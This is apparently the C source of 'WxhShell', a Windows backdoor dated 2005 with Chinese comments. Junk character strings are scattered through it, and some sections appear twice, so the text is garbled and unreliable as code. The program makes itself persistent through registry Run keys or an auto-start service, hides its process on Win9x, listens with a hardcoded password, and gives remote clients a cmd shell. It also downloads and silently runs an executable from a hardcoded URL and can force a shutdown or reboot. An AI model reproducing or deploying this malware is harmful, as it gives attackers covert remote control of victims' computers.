0P3|1= PROCESS_BASIC_INFORMATION pbi; SLOYlRGCi 9~%]|_( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PFgjWp"Y if(NULL == hInst ) return 0; l'".}6S 42wC."A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lv_% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qZ_fQ@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `+BaDns [3sxzU!t~ if (!NtQueryInformationProcess) return 0; / ! 0*/ r' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !_H8Q}a if(!hProcess) return 0; |SukiXJZF
He-Ja if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UJ)M:~O O8~U<'=* CloseHandle(hProcess); JX$NEq( (g2r\hI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @3TkD_B& if(hProcess==NULL) return 0; qs1.@l(" )/T$H| HMODULE hMod; S Y>,kwHO char procName[255]; ~K$"PKs3 unsigned long cbNeeded; 7cP[o+ vJAAAS if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G[<[#$( Sb9=$0%\ CloseHandle(hProcess); f(s3TLM K-k.=6mS if(strstr(procName,"services")) return 1; // 以服务启动 t,1! `/\ 5QFXj)hR+4 return 0; // 注册表启动 h* %0@ } LO} :Ub w$[Ds // 主模块 |U$de2LF int StartWxhshell(LPSTR lpCmdLine) ecqz@*d& { HZ<f( SOCKET wsl; ~muIi#4 BOOL val=TRUE; g6/N\[b% int port=0; vWi.[] struct sockaddr_in door; Z0 IxYEp W*rU,F|9 if(wscfg.ws_autoins) Install(); ,{ L;B f'`nx;@X port=atoi(lpCmdLine); Re,$<9V 9H, &nET if(port<=0) port=wscfg.ws_port; &G@-yQ Kg TGxCH WSADATA data; kl3S~gE4@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )\D40,p e]*=sp!T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _QMHPRELk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r{B,uj" door.sin_family = AF_INET; 0.BUfuuh door.sin_addr.s_addr = inet_addr("127.0.0.1"); &kjwIg{ door.sin_port = htons(port); fzFvfMAU R4~zL!7; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wt)SdF=U/ closesocket(wsl); &A9A#It return 1; )lDIzLp } L^ #< HQ
kulQR>u if(listen(wsl,2) == INVALID_SOCKET) { ZYA.1VrM closesocket(wsl); ]D) 'I` return 1; m!#)JFe67 } M$]O=2h+2 Wxhshell(wsl); B`?N0t%X WSACleanup(); rv%ye
H
x#j\"$dla return 0; Msa6yD# PZ!dn%4jy } yhtvr5z1 bhqq // 以NT服务方式启动 I~]Q55 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (XG[_ { Q+!0)pG5# DWORD status = 0; Oa\ `; DWORD specificError = 0xfffffff; rTsbP40 +>!B(j\gx serviceStatus.dwServiceType = SERVICE_WIN32; 5e/qgI)M5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; l@tyg7CwY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MCi` TXr serviceStatus.dwWin32ExitCode = 0; ZH;y>Z serviceStatus.dwServiceSpecificExitCode = 0; kToVBU$ serviceStatus.dwCheckPoint = 0; @`kiEg'Q serviceStatus.dwWaitHint = 0; +i`Q 7+d -#S)}NEn hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8G5)o` if (hServiceStatusHandle==0) return; Nr]8P/[~ )pZekh]v status = GetLastError(); te\h?H if (status!=NO_ERROR) 7dlKdKH { C'8!cPFVv serviceStatus.dwCurrentState = SERVICE_STOPPED; EOBs}M; serviceStatus.dwCheckPoint = 0; jI{~s]Q serviceStatus.dwWaitHint = 0; /[20e1 w! serviceStatus.dwWin32ExitCode = status; &weY8\HD serviceStatus.dwServiceSpecificExitCode = specificError; d@D;'2}Yc SetServiceStatus(hServiceStatusHandle, &serviceStatus); X@yr$3vC return; e:$7^Y,U/ } /Oggt^S W) 33;E/} serviceStatus.dwCurrentState = SERVICE_RUNNING; K{zCp6 serviceStatus.dwCheckPoint = 0; 2GiUPtO&Gj serviceStatus.dwWaitHint = 0; FM9X}%5nu9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :PFx& } %l8*t$8 4#@W;' // 处理NT服务事件,比如:启动、停止 UKKSc>D1 VOID WINAPI NTServiceHandler(DWORD fdwControl) SvX=isu!. { UBhciZ switch(fdwControl) Y3P.| { ];pf case SERVICE_CONTROL_STOP: %R.xS}
Q serviceStatus.dwWin32ExitCode = 0; @ kJ0K serviceStatus.dwCurrentState = SERVICE_STOPPED; FI1THzW4J serviceStatus.dwCheckPoint = 0; GJIWG&C03 serviceStatus.dwWaitHint = 0; %_b^!FR { {*?sVAvj SetServiceStatus(hServiceStatusHandle, &serviceStatus); @q> ktE_ } V\@jC\-5Vt return; N;Z`%& case SERVICE_CONTROL_PAUSE: *?^Z)C> serviceStatus.dwCurrentState = SERVICE_PAUSED; Sg. +`xww3 break; }xkLD! case SERVICE_CONTROL_CONTINUE: ?~aZ#%*i8 serviceStatus.dwCurrentState = SERVICE_RUNNING; $Wr\[P: break; tLD~ case SERVICE_CONTROL_INTERROGATE: *t#s$Ga break; poXLy/K }; @%EE0)IA SetServiceStatus(hServiceStatusHandle, &serviceStatus); XOysgX0g } gf68iR.Gs WCuzV7tw // 标准应用程序主函数 E\]OySC%C$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qy=HrL]x { o~v_PD[S y:[BP4H ?y // 获取操作系统版本 s;fVnaqG: OsIsNt=GetOsVer();
eeW' [ GetModuleFileName(NULL,ExeFile,MAX_PATH); LbJtpwz>z 0$eyT-:d // 从命令行安装 ~9JW#HHzn if(strpbrk(lpCmdLine,"iI")) Install(); |'V DI]p& O!+nF]V4f // 下载执行文件 L@{!r=%_> if(wscfg.ws_downexe) { )p$\gwr=2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) May&@x/oMS WinExec(wscfg.ws_filenam,SW_HIDE); ^Yj"RM$;N } Q'Jv}'eK_ Ni2]6U if(!OsIsNt) { 9z5"y|$ // 如果时win9x,隐藏进程并且设置为注册表启动 ,c4c@|Bh? HideProc(); "El^38Ho StartWxhshell(lpCmdLine); G1kaF/`O } Z69+yOJI else t6'61*)|0 if(StartFromService()) D9 qX->p // 以服务方式启动 Qs|OG StartServiceCtrlDispatcher(DispatchTable); ,M\j%3 else J0^{,eY< // 普通方式启动 -"W )|oC_ StartWxhshell(lpCmdLine); :8p&#M BRQ"A, return 0; aB6Ye/Io } 1<xcMn0et KxO/] )46
0Ed rkxW UDl =========================================== :{[<g]( u5Qp/ag?N `S"W8_m M[ x_#m| jja{*PZ6H JNh=fvO2i " ^C!mCTL1N K*_-5e #include <stdio.h> ]e^R@w #include <string.h> :
@'fpN #include <windows.h> )-=2w-ZX #include <winsock2.h> {mNdL J #include <winsvc.h> "XCU'_k= #include <urlmon.h> }qer rmOQ{2} #pragma comment (lib, "Ws2_32.lib") h^}_YaT\ #pragma comment (lib, "urlmon.lib") l iw,O 6 LO"_NeuL #define MAX_USER 100 // 最大客户端连接数 B;VH `*+X #define BUF_SOCK 200 // sock buffer >&bv\R/ #define KEY_BUFF 255 // 输入 buffer Rr%tbt.sE $bk>kbl P #define REBOOT 0 // 重启 aK]7vp+ #define SHUTDOWN 1 // 关机 E@:Q 'g% TbOJp #define DEF_PORT 5000 // 监听端口 [}z?1Gj;W( IuNkfBe4m #define REG_LEN 16 // 注册表键长度 ]Z_$'?f #define SVC_LEN 80 // NT服务名长度 l;Q
>b]DZ ylk{! // 从dll定义API cL#-*_( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cv3L&zg M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 h#s([uL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r,5-XB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $4=Ne3y [M4xZHd#o // wxhshell配置信息 sF y]+DB struct WSCFG { yL.^ = int ws_port; // 监听端口 +Y7Pg'35 char ws_passstr[REG_LEN]; // 口令 M~-h-tG int ws_autoins; // 安装标记, 1=yes 0=no V|TA:&:7 char ws_regname[REG_LEN]; // 注册表键名 z; J char ws_svcname[REG_LEN]; // 服务名 Y+FP char ws_svcdisp[SVC_LEN]; // 服务显示名 qYx!jA]O char ws_svcdesc[SVC_LEN]; // 服务描述信息 B$ui:R/ t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;TtaH int ws_downexe; // 下载执行标记, 1=yes 0=no XJUEwX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b7bSTFZxC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bZ/
hgqS h0|[etaf }; V{!lk]p}a TZ'aNcGg // default Wxhshell configuration ^]VcxKU J struct WSCFG wscfg={DEF_PORT, m$?.Yig? "xuhuanlingzhe", H.:9:I[n 1, ~x'zX-@rC "Wxhshell", qYiv "Wxhshell", GWgd8x*V "WxhShell Service", OZ^h\m4 "Wrsky Windows CmdShell Service", ?1CJf>B > "Please Input Your Password: ", `|Ey)@w 1, !nwbj21% "http://www.wrsky.com/wxhshell.exe", SZ/(\kQ6 "Wxhshell.exe" \*uugw,\y }; bhYU5I 9 ha5e(Hj? // 消息定义模块 G;NB\3~X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AP0|z char *msg_ws_prompt="\n\r? for help\n\r#>"; I] jX7.fx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "J& (:(: char *msg_ws_ext="\n\rExit."; w,Q)@]_ char *msg_ws_end="\n\rQuit."; k{a)gFH
O char *msg_ws_boot="\n\rReboot..."; c}%es=@ char *msg_ws_poff="\n\rShutdown..."; Ah (iE char *msg_ws_down="\n\rSave to "; e8{^f]5 G]-%AO{K char *msg_ws_err="\n\rErr!"; _lP4}9p char *msg_ws_ok="\n\rOK!"; 7,h3V=^)Q Qwv '< char ExeFile[MAX_PATH]; 9\AS@SH{^T int nUser = 0; SiV*WxQe HANDLE handles[MAX_USER]; VG)="g[%) int OsIsNt; uJY.5w \n_3Bwd~ SERVICE_STATUS serviceStatus; #&V5H{ SERVICE_STATUS_HANDLE hServiceStatusHandle; [t{](- .a:Z!KF // 函数声明 x6ahZ int Install(void); 9<l-NU9 _ int Uninstall(void); 088C| int DownloadFile(char *sURL, SOCKET wsh); ^>^\CP] int Boot(int flag); NI8~QeGah void HideProc(void); KzG_ << int GetOsVer(void); uf]Y^,2 int Wxhshell(SOCKET wsl); E5gl ^Q?Z void TalkWithClient(void *cs); 7/?DP wbx int CmdShell(SOCKET sock); "Hht
g: int StartFromService(void); 9 ZGV%Tw int StartWxhshell(LPSTR lpCmdLine); aM$=|%9/ K_>/lirE? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '0RRFO VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ff<)4`J B'p5M.6d#: // 数据结构和表定义 b66R}=P l SERVICE_TABLE_ENTRY DispatchTable[] = |'<vrn { xl8#=qmCD {wscfg.ws_svcname, NTServiceMain}, y\#o2PVmY {NULL, NULL} nhewDDu }; 3u_oRs b@6:1x // 自我安装 Fc'[+L--Q int Install(void) \5hw9T&[B { .E$q&7@/j char svExeFile[MAX_PATH]; 2h)8Fq_" HKEY key; BSKEh"f strcpy(svExeFile,ExeFile); skR,-:"8 RM,'o[% // 如果是win9x系统,修改注册表设为自启动 +_~,86 if(!OsIsNt) { OR;&TbWF(R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _R74/| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Z`0>R` RegCloseKey(key); >A($8=+#x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U
Du~2% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HN68!v}C| RegCloseKey(key); cy3M^_5B< return 0; fK_~lGY( } hgO?+x } 6m+W#]^ } [))JX"a else { lR@& Z6lw W2 <3C // 如果是NT以上系统,安装为系统服务 K/| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .&iN(Bd if (schSCManager!=0) A"4@L*QV { 3ji:O T SC_HANDLE schService = CreateService +
|C=ZU ( ^f|<R8 ` schSCManager, U5<@<j(@ wscfg.ws_svcname, o/1JO_41 wscfg.ws_svcdisp, RZh}: SERVICE_ALL_ACCESS, X+iK<F$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &@6 GI< SERVICE_AUTO_START, g$w6kz_[ SERVICE_ERROR_NORMAL, ;SY.WfVA7 svExeFile, e+@xsn3 NULL, \Y e%o}.{ NULL, lKWr=k~ NULL, <*Ub2B[m NULL, $<OhGk- NULL ug#<LO-.Rd ); 2-mQt_
i if (schService!=0) #
X/Q { J3B.-XJ+n CloseServiceHandle(schService); _{Y$o'*#I CloseServiceHandle(schSCManager); gS$A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4AHL3@x strcat(svExeFile,wscfg.ws_svcname); e4[) WNR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ? )_7U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ ulps**e RegCloseKey(key); K-(;D4/sQE return 0; d>!p=O`>{q } H$tb;: } 5v9uHxy CloseServiceHandle(schSCManager); S}7>RHe } RmO yGSO } uyT/Xzo3 Rp/-Pv
return 1; -H\,2FO } \r;F2C0*i FH*RU1Z // 自我卸载 ]XUSqai int Uninstall(void) l1<?ONB.# { C`4gsqD;Z HKEY key; .pvxh|V <xlm
K( if(!OsIsNt) { |ym%|
B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tcA;#^jc RegDeleteValue(key,wscfg.ws_regname); =i6:puf RegCloseKey(key); qks|d_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }-p,iTm RegDeleteValue(key,wscfg.ws_regname);
zu<3^=3 RegCloseKey(key); @^?XaU return 0; YwAnqAg } kon=il<@ } Ei~f`{i } QlD6i-a else { ~lw<799F6 U9#WN.noG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yr{B5z, if (schSCManager!=0) bx>i6
R2 { HmV />9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ e,?rH if (schService!=0) 5@P-g { ]0/p 7N14 if(DeleteService(schService)!=0) { ]MAT2$"le CloseServiceHandle(schService); A*'V+( CloseServiceHandle(schSCManager); nbxR"UH return 0; *{5>XH{
x }
Oh`2tc- CloseServiceHandle(schService); (X}@^]lpa } T~s}N x# CloseServiceHandle(schSCManager); yVS\Q,:J9 } sKfXg`0 } wFL3&* 84M3c return 1; Qb`C)Nh: } -3hCiKq Q)^g3J // 从指定url下载文件 Vk7=7%xW int DownloadFile(char *sURL, SOCKET wsh) <4mQ*6 { g:gB`8w? HRESULT hr; ^\wl2 char seps[]= "/"; inF6M8
A1 char *token; A/ 0qk char *file; J_ J+cRwq char myURL[MAX_PATH]; [xdj6W char myFILE[MAX_PATH]; - DL"-%X. +v15[^F strcpy(myURL,sURL); Q2\ token=strtok(myURL,seps); [rdsv while(token!=NULL) G;]:$J { _N'75 file=token; )|]Z>>%t token=strtok(NULL,seps); )+Y&4Qu } hI~SAd
,#A 7ZFJexN] GetCurrentDirectory(MAX_PATH,myFILE); o4)hxs strcat(myFILE, "\\"); TnE+[.Qu strcat(myFILE, file); /F~X,lm*~ send(wsh,myFILE,strlen(myFILE),0); +R[4\ hC0Y send(wsh,"...",3,0); oJY[{-qW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #@Y/{[s|@ if(hr==S_OK) 8D~x\!(p\ return 0; )saR0{e0N else D,rZ0?R return 1; Z+idLbIs +LzovC@^ } `6Hf&u< 97!5Q~I // 系统电源模块 xl]
;*& int Boot(int flag) -G b-^G { ?~F. / HANDLE hToken; 9L)L|4A.l TOKEN_PRIVILEGES tkp; fp&Got!pB h~miP7,c<u if(OsIsNt) { $TG?4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .JAcPyK^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F2>%KuM tkp.PrivilegeCount = 1; "mZ.V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?R6`qe_F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0BTLcEqgZ if(flag==REBOOT) { <_:zI r, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (pYYkR" return 0; 9]$`)wZ } Y}.Ystem else { PXEKV0y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V5MO} return 0; 6Rz[?-mkLO } GGE[{Gb9 } c8ZCs? else { 8H
$ #+^lW if(flag==REBOOT) { JTUNb'#RZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lrys3 return 0; xm^95}80yh } h%1Y6$ else {
+ld;k/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hed$ytMaGz return 0; OM!=ViN(= } V}9;eJRvw } s4t0f_vj` E`AYee%l return 1; 3N<&u } 1K[(ou'rl 25em[Q:
// win9x进程隐藏模块 4lz{G*u void HideProc(void) J{~Rxa { \ 4gXY$`@ t[2i$%NVM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zj20;5o>U& if ( hKernel != NULL ) xo~g78jm7, { 6P+DnS[] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XO
wiHW{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pFIecca w FreeLibrary(hKernel); 1xTTJyoq } YIOR$ pP\h6b+B return; knSuzq%* } =kFuJ
x)f }O*WV 1 // 获取操作系统版本 V/bH^@,sA int GetOsVer(void) ~`Sle
xK|} { [ud|dwP" OSVERSIONINFO winfo; y Nva1I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4<}A]BQVkJ GetVersionEx(&winfo); ']?=[`#NL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y6VQ:glDT- return 1; J
Jy{@[m else p\S8oHWe return 0; r~oSP^e' } ct0v$ct>f f z%tA39m // 客户端句柄模块 KXe
ka int Wxhshell(SOCKET wsl) ( V4G<-jG { O5-;I,)H SOCKET wsh; x!?Z*v@I struct sockaddr_in client; M 9"-WIG@h DWORD myID; :]c=pH F<r4CHfh; while(nUser<MAX_USER) ;r!\-]5$ { 0w3b~RJ int nSize=sizeof(client); 0&$xX!] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xIgql}. if(wsh==INVALID_SOCKET) return 1; c]v
+ Taasi`
k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mi74Xl i if(handles[nUser]==0) :`J>bHE closesocket(wsh); M=%!IT else 0j$OE nUser++; hW%p#g; } FpzP#; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vlQ0gsXK &@; RI~ return 0; XGIpUz } !$r9C/k 3bts7<K= // 关闭 socket ^s*\Qw{Ii void CloseIt(SOCKET wsh) ) `I=oB { an KuTI closesocket(wsh); h5!d nUser--; T.@sq ExitThread(0); qLRE}$P } |nm2Uy/0 $ !5f"<FCB // 客户端请求句柄 c[{UI void TalkWithClient(void *cs) a: IwA9!L { ,n5a] )Dg h,]+ >`b SOCKET wsh=(SOCKET)cs; wOcg4HlW char pwd[SVC_LEN]; 8IJ-]wHIb char cmd[KEY_BUFF]; P)IjL&[ char chr[1]; b~as64 int i,j; ;[~^(.
f xBWx+My while (nUser < MAX_USER) { i+AUQ0Zbf6 [q$e6JwAt if(wscfg.ws_passstr) { pqq?*\W&[v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \HG$V>2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s##Ay{ //ZeroMemory(pwd,KEY_BUFF); ^
LbGH<#J i=0; ;]@exp5 while(i<SVC_LEN) { V{$Sfmey czS7-Hh@ // 设置超时 fq(5Lfe} fd_set FdRead; ITc`]K struct timeval TimeOut; 8[HZ@@ FD_ZERO(&FdRead); NL-_#N$ FD_SET(wsh,&FdRead); R&!]Rl9hf TimeOut.tv_sec=8; +-P<CCvWz TimeOut.tv_usec=0; i[_|%'p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \n(ROf^' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ai^t=
s B^m!t7/, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M[z3 f pwd=chr[0]; xgs@gw7!n0 if(chr[0]==0xd || chr[0]==0xa) { yjd(UWE pwd=0; Y Z\@)D; break; GBr,LN } -t>Z
9 i++; M8_ R } G"C;A`6 ;NG1{]|Z // 如果是非法用户,关闭 socket pz @km if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1M/$<
kQ-N } tQ[]Rc 9m~t
j_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQ=sNZ-d] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (HJ$lxk<2h tj0Qr-/ while(1) { Y"oDFo, 4y>(RrVG ZeroMemory(cmd,KEY_BUFF); -%=RFgU4 N"~ qoJO // 自动支持客户端 telnet标准 b-uZ"Kf^ j=0; :ln/`_ while(j<KEY_BUFF) { U1kh-8
: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Y;8~+ cmd[j]=chr[0]; _<2RYXBC if(chr[0]==0xa || chr[0]==0xd) { WP!il(Gr cmd[j]=0; F-tFet
break; dm 2EH } 9.]kOs_ j++; `fMpV8vv } _G[6+g5| `~h0?g // 下载文件 ;L$,gn5H if(strstr(cmd,"http://")) {
d.I%k1`( send(wsh,msg_ws_down,strlen(msg_ws_down),0); g41<8^( if(DownloadFile(cmd,wsh)) #@q1Ko!NZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~L\s}|2d else 5f{wJb2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qzHU)Ns(_ } lfRH`u else { zQt1;bo W
W35&mI)k switch(cmd[0]) { F#KF6)P [brkx3h // 帮助 UT~4Cfb case '?': { G1TANy send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2;h+;G break; ;xI0\a7 } _^-D _y // 安装 _}^u-fJ/~ case 'i': { 3jS7 uU if(Install()) &rcdr+' send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4N,^_j else xlk5Gob* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8uHRcdQ break; A`g.[7 } ]y}Zi/zh // 卸载 :k\}Ik case 'r': { <oQ6 Z X if(Uninstall()) !x6IV25 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wy!uRzbBv else lZBv\JE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg}t-_M break; c{ 7<H } !;jgzi?z // 显示 wxhshell 所在路径 5Vm Eyb case 'p': { Eh:yRJ_8 char svExeFile[MAX_PATH]; :Nkz,R? strcpy(svExeFile,"\n\r"); &D^e<j}RQ strcat(svExeFile,ExeFile); 8a?IC|~Pz send(wsh,svExeFile,strlen(svExeFile),0); i"<ZVw break; Pm~,Ky&Hl } 9V.+U7\w // 重启 C!hXEtK case 'b': { d;<.;Od$` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $.;iu2iyo if(Boot(REBOOT)) aI7Xq3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); k 5t{
else { 'Z y{mq\ closesocket(wsh); ~RAzFLt6x ExitThread(0); $Q=$?>4U } :ET x*c break; }&C dsCM>2 } ?S8$5gA // 关机 v,8Si'"i+ case 'd': { kF#{An)P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PMQb\%iE" if(Boot(SHUTDOWN)) G%Y*q(VrEu send(wsh,msg_ws_err,strlen(msg_ws_err),0);
\_?yzgf else { pTN%;`)
{ closesocket(wsh); xS-w\vbLV ExitThread(0); b#e]1Q } @PKAz&0 break; \6U 2-m' } v [dAywW // 获取shell _@7(g(pY 3 case 's': { { qjUI CmdShell(wsh); 1]HHe*'Z closesocket(wsh); Un]DFu ExitThread(0); 6<#Slw[ break; LMt0'Ml9 } rYD']%2 // 退出 =Z^un&' case 'x': { )eVzS j>MT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ybC-f'0 CloseIt(wsh); 5[1@`6j break; ixg\[5.Q+ } n<=y"* // 离开 x, }ez case 'q': { u4@, *tT send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2m|Eoc&M_ closesocket(wsh); hjw4Xzju WSACleanup(); t2~"B&7My exit(1); \m@]G3=] break; /FoUo } D\@e{.$MZ| } $#D
n 4 } cn@03&dAl bOi};/f // 提示信息 | h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }5QZ6i# } BDWim`DK" } pHigxeV2 u<$S> return; /5&3WG&<u } 9zmD6G!}t =`r ppO // shell模块句柄 F@B int CmdShell(SOCKET sock) +Kxe ymwr2 { &t[z STARTUPINFO si; N'htcC ZeroMemory(&si,sizeof(si)); xV"6d{+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?f(pQy@V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~JIywzcf8 PROCESS_INFORMATION ProcessInfo; _3s~!2 char cmdline[]="cmd";
~JAH-R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #8P#^v]H return 0; 1'(_>S5CG } .`:oP&9r f+Pg1Q0zI // 自身启动模式 ZD$-V3e` int StartFromService(void) j0ci~6&b3_ { XYz,NpK typedef struct : ;|)/ { Xw&QrTDS` DWORD ExitStatus; d;;>4}XJ] DWORD PebBaseAddress; }qG?Vmq*R[ DWORD AffinityMask; em f0sL DWORD BasePriority; ;D%$Eh&oma ULONG UniqueProcessId; LsuAOB 8 ULONG InheritedFromUniqueProcessId; !l sy&6 } PROCESS_BASIC_INFORMATION; md1EJ1\14
2tm~QL PROCNTQSIP NtQueryInformationProcess; `V?x
xq\ XLkL#&Ir static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _lP4ez
Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K0d-MC s:-8 Z\, HANDLE hProcess; <B|n<R<? PROCESS_BASIC_INFORMATION pbi; Z!q2F%02FO AAIyr703cQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]>]#zu$=c if(NULL == hInst ) return 0; <Tj"GVZAEO 0"wbcAh) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fvAh?<Ul g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [lDt0l5^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M="WUe_ >
gA %MT if (!NtQueryInformationProcess) return 0; )R
[@G. 9}K(Q= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xiOv$.@q if(!hProcess) return 0; |G`4"``]k *7:u-}c! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gJ)h9e*m^ 'sT}DX(7M CloseHandle(hProcess); MEdIw#P.}{ \NvC
